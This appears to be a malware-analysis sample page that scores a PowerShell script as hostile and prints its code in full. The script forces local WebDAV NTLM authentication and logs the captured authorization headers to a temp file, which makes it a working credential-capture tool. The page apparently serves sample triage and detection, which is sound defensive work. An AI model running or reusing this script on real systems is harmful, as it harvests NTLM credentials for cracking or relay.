Hostile 92% powershell Download

loopback-capture.ps1

NTLM hash capture tool

Forces local NTLM authentication and records authorization materialLocal NTLM listener alongside forced WebDAV authentication
SHA-2564cea85f8d87e6959ecb3cac8a752327bc82e2a9e867d277b3a4ab3ea36488021

Evidence

HTTP NTLM authentication header lines 1–15
1$listener = New-Object System.Net.HttpListener
2$listener.Prefixes.Add('http://localhost:8080/')
3$listener.Start()
4Start-Job -ScriptBlock { net use f: \\localhost@8080\c$ }
5$challenge = 'TlRMTVNTUAACAAAAAAAAAAAAAAAFgomiESIzRFVmd4gAAAAAAAAAAAAAAAAAAAAA'
6for ($i = 0; $i -lt 4; $i++) {
7 $context = $listener.GetContext()
8 if ($context.Request.Headers['Authorization']) {
9 Add-Content -Path "$env:TEMP\handshakes.log" -Value $context.Request.Headers['Authorization']
10 }
11 $context.Response.StatusCode = 401
12 $context.Response.AddHeader('WWW-Authenticate', "NTLM $challenge")
13 $context.Response.Close()
14}
15$listener.Stop()

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.